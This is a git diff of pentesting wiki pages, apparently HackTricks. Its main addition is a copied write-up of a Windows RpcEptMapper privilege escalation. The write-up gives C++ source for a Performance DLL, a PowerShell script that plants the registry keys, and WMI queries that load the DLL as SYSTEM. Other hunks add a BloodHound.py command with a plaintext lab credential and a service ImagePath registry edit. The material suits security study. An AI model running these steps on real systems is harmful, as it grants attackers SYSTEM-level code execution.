||||
More info:
|
||||
|
||||
* [https://malicious.link/post/2017/reset-ad-user-password-with-linux/](https://malicious.link/post/2017/reset-ad-user-password-with-linux/)
|
||||
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN)
|
||||
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c)
|
||||
|
||||
## WriteOwner on Group
|
||||
|
||||
Note how before the attack the owner of `Domain Admins` is `Domain Admins`:
|
||||
|
|
|
@ -63,6 +63,8 @@ You will be prompted for the database credentials: **neo4j:<Your new password
|
|||
|
||||
## Ingestors
|
||||
|
||||
### Windows
|
||||
|
||||
You can download the [Ingestors from the github](https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors).
|
||||
They have several options but if you want to run SharpHound from a PC joined to the domain, using your current user and extract all the information you can do:
|
||||
|
||||
|
@ -81,3 +83,12 @@ You could also use other parameters like: **DomainController**, **Domain**, **Ld
|
|||
|
||||
\*\*\*\*[**Learn more about Bloodhound in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)\*\*\*\*
|
||||
|
||||
### **Python**
|
||||
|
||||
If you have domain credentials you can run a **python bloodhound ingestor from any platform** so you don't need to depend on Windows.
|
||||
Download it from [https://github.com/fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py) or doing `pip3 install bloodhound`
|
||||
|
||||
```bash
|
||||
bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all
|
||||
```
|
||||
|
||||
|
|
|
@ -37,7 +37,7 @@ If you don't want to wait an hour you can use a PS script to make the restore ha
|
|||
|
||||
Note the spotless' user membership:
|
||||
|
||||
![](../../.gitbook/assets/a1.png)
|
||||
![](../../.gitbook/assets/1%20%282%29.png)
|
||||
|
||||
However, we can still add new users:
|
||||
|
||||
|
|
|
@ -118,7 +118,7 @@ If you want to **know** about my **latest modifications**/**additions** or you h
|
|||
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
|
||||
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
||||
|
||||
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%283%29.png)
|
||||
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%283%29.png)
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||
|
||||
|
|
|
@ -556,7 +556,7 @@ FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Te
|
|||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||||
```
|
||||
|
||||
### Services registry permissions
|
||||
### Services registry modify permissions
|
||||
|
||||
You should check if you can modify any service registry.
|
||||
You can **check** your **permissions** over a service **registry** doing:
|
||||
|
@ -578,6 +578,14 @@ To change the Path of the binary executed:
|
|||
reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||||
```
|
||||
|
||||
### Services registry AppendData/AddSubdirectory permissions
|
||||
|
||||
If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:**
|
||||
|
||||
{% page-ref page="appenddata-addsubdirectory-permission-over-service-registry.md" %}
|
||||
|
||||
|
||||
|
||||
### Unquoted Service Paths
|
||||
|
||||
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
|
||||
|
|
|
@ -0,0 +1,341 @@
|
|||
# AppendData/AddSubdirectory permission over service registry
|
||||
|
||||
**Information copied from** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)\*\*\*\*
|
||||
|
||||
According to the output of the script, the current user has some write permissions on two registry keys:
|
||||
|
||||
* `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
|
||||
* `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
|
||||
|
||||
Let’s manually check the permissions of the `RpcEptMapper` service using the `regedit` GUI. One thing I really like about the _Advanced Security Settings_ window is the _Effective Permissions_ tab. You can pick any user or group name and immediately see the effective permissions that are granted to this principal without the need to inspect all the ACEs separately. The following screenshot shows the result for the low privileged `lab-user` account.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/02_regsitry-rpceptmapper-permissions.png)
|
||||
|
||||
Most permissions are standard \(e.g.: `Query Value`\) but one in particular stands out: `Create Subkey`. The generic name corresponding to this permission is `AppendData/AddSubdirectory`, which is exactly what was reported by the script:
|
||||
|
||||
```text
|
||||
Name : RpcEptMapper
|
||||
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
|
||||
User : NT AUTHORITY\NetworkService
|
||||
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
|
||||
IdentityReference : NT AUTHORITY\Authenticated Users
|
||||
Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
|
||||
Status : Running
|
||||
UserCanStart : True
|
||||
UserCanRestart : False
|
||||
|
||||
Name : RpcEptMapper
|
||||
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
|
||||
User : NT AUTHORITY\NetworkService
|
||||
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
|
||||
IdentityReference : BUILTIN\Users
|
||||
Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
|
||||
Status : Running
|
||||
UserCanStart : True
|
||||
UserCanRestart : False
|
||||
```
|
||||
|
||||
What does this mean exactly? It means that we cannot just modify the `ImagePath` value for example. To do so, we would need the `WriteData/AddFile` permission. Instead, we can only create a new subkey.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/03_registry-imagepath-access-denied.png)
|
||||
|
||||
Does it mean that it was indeed a false positive? Surely not. Let the fun begin!
|
||||
|
||||
### RTFM <a id="rtfm"></a>
|
||||
|
||||
At this point, we know that we can create arbirary subkeys under `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper` but we cannot modify existing subkeys and values. These already existing subkeys are `Parameters` and `Security`, which are quite common for Windows services.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/04_registry-rpceptmapper-config.png)
|
||||
|
||||
Therefore, the first question that came to mind was: _is there any other predefined subkey - such as `Parameters` and `Security`- that we could leverage to effectively modify the configuration of the service and alter its behavior in any way?_
|
||||
|
||||
To answer this question, my initial plan was to enumerate all existing keys and try to identify a pattern. The idea was to see which subkeys are _meaningful_ for a service’s configuration. I started to think about how I could implement that in PowerShell and then sort the result. Though, before doing so, I wondered if this registry structure was already documented. So, I googled something like `windows service configuration registry site:microsoft.com` and here is the very first [result](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree) that came out.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/05_google-search-registry-services.png)
|
||||
|
||||
Looks promising, doesn’t it? At first glance, the documentation did not seem to be exhaustive and complete. Considering the title, I expected to see some sort of tree structure detailing all the subkeys and values defining a service’s configuration but it was clearly not there.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/06_doc-registry-services.png)
|
||||
|
||||
Still, I did take a quick look at each paragraph. And, I quickly spotted the keywords “_**Performance**_” and “_**DLL**_”. Under the subtitle “**Perfomance**”, we can read the following:
|
||||
|
||||
> **Performance**: _A key that specifies information for optional performance monitoring. The values under this key specify **the name of the driver’s performance DLL** and **the names of certain exported functions in that DLL**. You can add value entries to this subkey using AddReg entries in the driver’s INF file._
|
||||
|
||||
According to this short paragraph, one can theoretically register a DLL in a driver service in order to monitor its performances thanks to the `Performance` subkey. **OK, this is really interesting!** This key doesn’t exist by default for the `RpcEptMapper` service so it looks like it is _exactly_ what we need. There is a slight problem though, this service is definitely not a driver service. Anyway, it’s still worth the try, but we need more information about this “_Perfomance Monitoring_” feature first.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/07_sc-qc-rpceptmapper.png)
|
||||
|
||||
> **Note:** in Windows, each service has a given `Type`. A service type can be one of the following values: `SERVICE_KERNEL_DRIVER (1)`, `SERVICE_FILE_SYSTEM_DRIVER (2)`, `SERVICE_ADAPTER (4)`, `SERVICE_RECOGNIZER_DRIVER (8)`, `SERVICE_WIN32_OWN_PROCESS (16)`, `SERVICE_WIN32_SHARE_PROCESS (32)` or `SERVICE_INTERACTIVE_PROCESS (256)`.
|
||||
|
||||
After some googling, I found this resource in the documentation: [Creating the Application’s Performance Key](https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key).
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/08_performance-subkey-documentation.png)
|
||||
|
||||
First, there is a nice tree structure that lists all the keys and values we have to create. Then, the description gives the following key information:
|
||||
|
||||
* The `Library` value can contain **a DLL name or a full path to a DLL**.
|
||||
* The `Open`, `Collect`, and `Close` values allow you to specify **the names of the functions** that should be exported by the DLL.
|
||||
* The data type of these values is `REG_SZ` \(or even `REG_EXPAND_SZ` for the `Library` value\).
|
||||
|
||||
If you follow the links that are included in this resource, you’ll even find the prototype of these functions along with some code samples: [Implementing OpenPerformanceData](https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata).
|
||||
|
||||
```text
|
||||
DWORD APIENTRY OpenPerfData(LPWSTR pContext);
|
||||
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
|
||||
DWORD APIENTRY ClosePerfData();
|
||||
```
|
||||
|
||||
I think that’s enough with the theory, it’s time to start writing some code!
|
||||
|
||||
### Writing a Proof-of-Concept <a id="writing-a-proof-of-concept"></a>
|
||||
|
||||
Thanks to all the bits and pieces I was able to collect throughout the documentation, writing a simple Proof-of-Concept DLL should be pretty straightforward. But still, we need a plan!
|
||||
|
||||
When I need to exploit some sort of DLL hijacking vulnerability, I usually start with a simple and custom log helper function. The purpose of this function is to write some key information to a file whenever it’s invoked. Typically, I log the PID of the current process and the parent process, the name of the user that runs the process and the corresponding command line. I also log the name of the function that triggered this log event. This way, I know which part of the code was executed.
|
||||
|
||||
In my other articles, I always skipped the development part because I assumed that it was more or less obvious. But, I also want my blog posts to be beginner-friendly, so there is a contradiction. I will remedy this situation here by detailing the process. So, let’s fire up Visual Studio and create a new “_C++ Console App_” project. Note that I could have created a “_Dynamic-Link Library \(DLL\)_” project but I find it actually easier to just start with a console app.
|
||||
|
||||
Here is the initial code generated by Visual Studio:
|
||||
|
||||
```text
|
||||
#include <iostream>
|
||||
|
||||
int main()
|
||||
{
|
||||
std::cout << "Hello World!\n";
|
||||
}
|
||||
```
|
||||
|
||||
Of course, that’s not what we want. We want to create a DLL, not an EXE, so we have to replace the `main` function with `DllMain`. You can find a skeleton code for this function in the documentation: [Initialize a DLL](https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior#initialize-a-dll).
|
||||
|
||||
```text
|
||||
#include <Windows.h>
|
||||
|
||||
extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
|
||||
{
|
||||
switch (reason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
Log(L"DllMain"); // See log helper function below
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
In parallel, we also need to change the settings of the project to specify that the output compiled file should be a DLL rather than an EXE. To do so, you can open the project properties and, in the “**General**” section, select “**Dynamic Library \(.dll\)**” as the “**Configuration Type**”. Right under the title bar, you can also select “**All Configurations**” and “**All Platforms**” so that this setting can be applied globally.
|
||||
|
||||
Next, I add my custom log helper function.
|
||||
|
||||
```text
|
||||
#include <Lmcons.h> // UNLEN + GetUserName
|
||||
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
|
||||
#include <strsafe.h>
|
||||
|
||||
void Log(LPCWSTR pwszCallingFrom)
|
||||
{
|
||||
LPWSTR pwszBuffer, pwszCommandLine;
|
||||
WCHAR wszUsername[UNLEN + 1] = { 0 };
|
||||
SYSTEMTIME st = { 0 };
|
||||
HANDLE hToolhelpSnapshot;
|
||||
PROCESSENTRY32 stProcessEntry = { 0 };
|
||||
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
// Get the command line of the current process
|
||||
pwszCommandLine = GetCommandLine();
|
||||
|
||||
// Get the name of the process owner
|
||||
GetUserName(wszUsername, &dwPcbBuffer);
|
||||
|
||||
// Get the PID of the current process
|
||||
dwProcessId = GetCurrentProcessId();
|
||||
|
||||
// Get the PID of the parent process
|
||||
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
|
||||
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
|
||||
do {
|
||||
if (stProcessEntry.th32ProcessID == dwProcessId) {
|
||||
dwParentProcessId = stProcessEntry.th32ParentProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
|
||||
}
|
||||
CloseHandle(hToolhelpSnapshot);
|
||||
|
||||
// Get the current date and time
|
||||
GetLocalTime(&st);
|
||||
|
||||
// Prepare the output string and log the result
|
||||
dwBufSize = 4096 * sizeof(WCHAR);
|
||||
pwszBuffer = (LPWSTR)malloc(dwBufSize);
|
||||
if (pwszBuffer)
|
||||
{
|
||||
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
|
||||
st.wHour,
|
||||
st.wMinute,
|
||||
st.wSecond,
|
||||
dwProcessId,
|
||||
dwParentProcessId,
|
||||
wszUsername,
|
||||
pwszCommandLine,
|
||||
pwszCallingFrom
|
||||
);
|
||||
|
||||
LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
|
||||
|
||||
free(pwszBuffer);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Then, we can populate the DLL with the three functions we saw in the documentation. The documentation also states that they should return `ERROR_SUCCESS` if successful.
|
||||
|
||||
```text
|
||||
DWORD APIENTRY OpenPerfData(LPWSTR pContext)
|
||||
{
|
||||
Log(L"OpenPerfData");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
|
||||
{
|
||||
Log(L"CollectPerfData");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD APIENTRY ClosePerfData()
|
||||
{
|
||||
Log(L"ClosePerfData");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
```
|
||||
|
||||
Ok, so the project is now properly configured, `DllMain` is implemented, we have a log helper function and the three required functions. One last thing is missing though. If we compile this code, `OpenPerfData`, `CollectPerfData` and `ClosePerfData` will be available as internal functions only so we need to **export** them. This can be achieved in several ways. For example, you could create a [DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files) file and then configure the project appropriately. However, I prefer to use the `__declspec(dllexport)` keyword \([doc](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport)\), especially for a small project like this one. This way, we just have to declare the three functions at the beginning of the source code.
|
||||
|
||||
```text
|
||||
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
|
||||
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
|
||||
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
|
||||
```
|
||||
|
||||
If you want to see the full code, I uploaded it [here](https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12).
|
||||
|
||||
Finally, we can select _**Release/x64**_ and “_**Build the solution**_”. This will produce our DLL file: `.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll`.
|
||||
|
||||
### Testing the PoC <a id="testing-the-poc"></a>
|
||||
|
||||
Before going any further, I always make sure that my payload is working properly by testing it separately. The little time spent here can save a lot of time afterwards by preventing you from going down a rabbit hole during a hypothetical debug phase. To do so, we can simply use `rundll32.exe` and pass the name of the DLL and the name of an exported function as the parameters.
|
||||
|
||||
```text
|
||||
C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
|
||||
```
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/09_test-poc-rundll32.gif)
|
||||
|
||||
Great, the log file was created and, if we open it, we can see two entries. The first one was written when the DLL was loaded by `rundll32.exe`. The second one was written when `OpenPerfData` was called. Looks good! ![:slightly\_smiling\_face:](https://github.githubassets.com/images/icons/emoji/unicode/1f642.png)
|
||||
|
||||
```text
|
||||
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
|
||||
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
|
||||
```
|
||||
|
||||
Ok, now we can focus on the actual vulnerability and start by creating the required registry key and values. We can either do this manually using `reg.exe` / `regedit.exe` or programmatically with a script. Since I already went through the manual steps during my initial research, I’ll show a cleaner way to do the same thing with a PowerShell script. Besides, creating registry keys and values in PowerShell is as easy as calling `New-Item` and `New-ItemProperty`, isn’t it? ![:thinking:](https://github.githubassets.com/images/icons/emoji/unicode/1f914.png)
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/10_powershell-new-item-access-denied.png)
|
||||
|
||||
`Requested registry access is not allowed`… Hmmm, ok… It looks like it won’t be that easy after all. ![:stuck\_out\_tongue:](https://github.githubassets.com/images/icons/emoji/unicode/1f61b.png)
|
||||
|
||||
I didn’t really investigate this issue but my guess is that when we call `New-Item`, `powershell.exe` actually tries to open the parent registry key with some flags that correspond to permissions we don’t have.
|
||||
|
||||
Anyway, if the built-in cmdlets don’t do the job, we can always go down one level and invoke DotNet functions directly. Indeed, registry keys can also be created with the following code in PowerShell.
|
||||
|
||||
```text
|
||||
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
|
||||
```
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/11_powershell-dotnet-createsubkey.png)
|
||||
|
||||
Here we go! In the end, I put together the following script in order to create the appropriate key and values, wait for some user input and finally terminate by cleaning everything up.
|
||||
|
||||
```text
|
||||
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
|
||||
|
||||
Write-Host "[*] Create 'Performance' subkey"
|
||||
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
|
||||
Write-Host "[*] Create 'Library' value"
|
||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
|
||||
Write-Host "[*] Create 'Open' value"
|
||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
|
||||
Write-Host "[*] Create 'Collect' value"
|
||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
|
||||
Write-Host "[*] Create 'Close' value"
|
||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
|
||||
|
||||
Read-Host -Prompt "Press any key to continue"
|
||||
|
||||
Write-Host "[*] Cleanup"
|
||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
|
||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
|
||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
|
||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
|
||||
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
|
||||
```
|
||||
|
||||
The last step now, **how do we trick the RPC Endpoint Mapper service into loading our Performace DLL?** Unfortunately, I haven’t kept track of all the different things I tried. It would have been really interesting in the context of this blog post to highlight how tedious and time consuming research can sometimes be. Anyway, one thing I found along the way is that you can query _Perfomance Counters_ using WMI \(_Windows Management Instrumentation_\), which isn’t too surprising after all. More info here: [_WMI Performance Counter Types_](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types).
|
||||
|
||||
> _Counter types appear as the CounterType qualifier for properties in_ [_Win32\_PerfRawData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfrawdata) _classes, and as the CookingType qualifier for properties in_ [_Win32\_PerfFormattedData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfformatteddata) _classes._
|
||||
|
||||
So, I first enumerated the WMI classes that are related to _Performace Data_ in PowerShell using the following command.
|
||||
|
||||
```text
|
||||
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
|
||||
```
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/12_powershell-get-wmiobject.gif)
|
||||
|
||||
And, I saw that my log file was created almost right away! Here is the content of the file.
|
||||
|
||||
```text
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
```
|
||||
|
||||
I expected to get arbitary code execution as `NETWORK SERVICE` in the context of the `RpcEptMapper` service at most but, it looks like I got a much better result than anticipated. I actually got arbitrary code execution in the context of the `WMI` service itself, which runs as `LOCAL SYSTEM`. How amazing is that?! ![:sunglasses:](https://github.githubassets.com/images/icons/emoji/unicode/1f60e.png)
|
||||
|
||||
> **Note:** if I had got arbirary code execution as `NETWORK SERVICE`, I would have been just a token away from the `LOCAL SYSTEM` account thanks to the trick that was demonstrated by James Forshaw a few months ago in this blog post: [Sharing a Logon Session a Little Too Much](https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html).
|
||||
|
||||
I also tried to get each WMI class separately and I observed the exact same result.
|
||||
|
||||
```text
|
||||
Get-WmiObject Win32_Perf
|
||||
Get-WmiObject Win32_PerfRawData
|
||||
Get-WmiObject Win32_PerfFormattedData
|
||||
```
|
||||
|
||||
### Conclusion <a id="conclusion"></a>
|
||||
|
||||
I don’t know how this vulnerability has gone unnoticed for so long. One explanation is that other tools probably looked for full write access in the registry, whereas `AppendData/AddSubdirectory` was actually enough in this case. Regarding the “misconfiguration” itself, I would assume that the registry key was set this way for a specific purpose, although I can’t think of a concrete scenario in which users would have any kind of permissions to modify a service’s configuration.
|
||||
|
||||
I decided to write about this vulnerability publicly for two reasons. The first one is that I actually made it public - without initially realizing it - the day I updated my PrivescCheck script with the `GetModfiableRegistryPath` function, which was several months ago. The second one is that the impact is low. It requires local access and affects only old versions of Windows that are no longer supported \(unless you have purchased the Extended Support…\). At this point, if you are still using Windows 7 / Server 2008 R2 without isolating these machines properly in the network first, then preventing an attacker from getting SYSTEM privileges is probably the least of your worries.
|
||||
|
||||
Apart from the anecdotal side of this privilege escalation vulnerability, I think that this “Perfomance” registry setting opens up really interesting opportunities for post exploitation, lateral movement and AV/EDR evasion. I already have a few particular scenarios in mind but I haven’t tested any of them yet. To be continued?…
|
||||
|
|
@ -27,7 +27,7 @@ If you have enabled this token you can use **KERB\_S4U\_LOGON** to get an **impe
|
|||
This privilege causes the system to **grant all read access** control to any file \(only read\).
|
||||
Use it to **read the password hashes of local Administrator** accounts from the registry and then use "**psexec**" or "**wmicexec**" with the hash \(PTH\).
|
||||
This attack won't work if the Local Administrator is disabled, or if it is configured that a Local Admin isn't admin if he is connected remotely.
|
||||
You can **abuse this privilege** with: [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) or with [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
|
||||
You can **abuse this privilege** with: [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) or with [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) or following IppSec in [https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab\_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
|
||||
|
||||
### SeRestorePrivilege \(3.1.5\)
|
||||
|
||||
|
|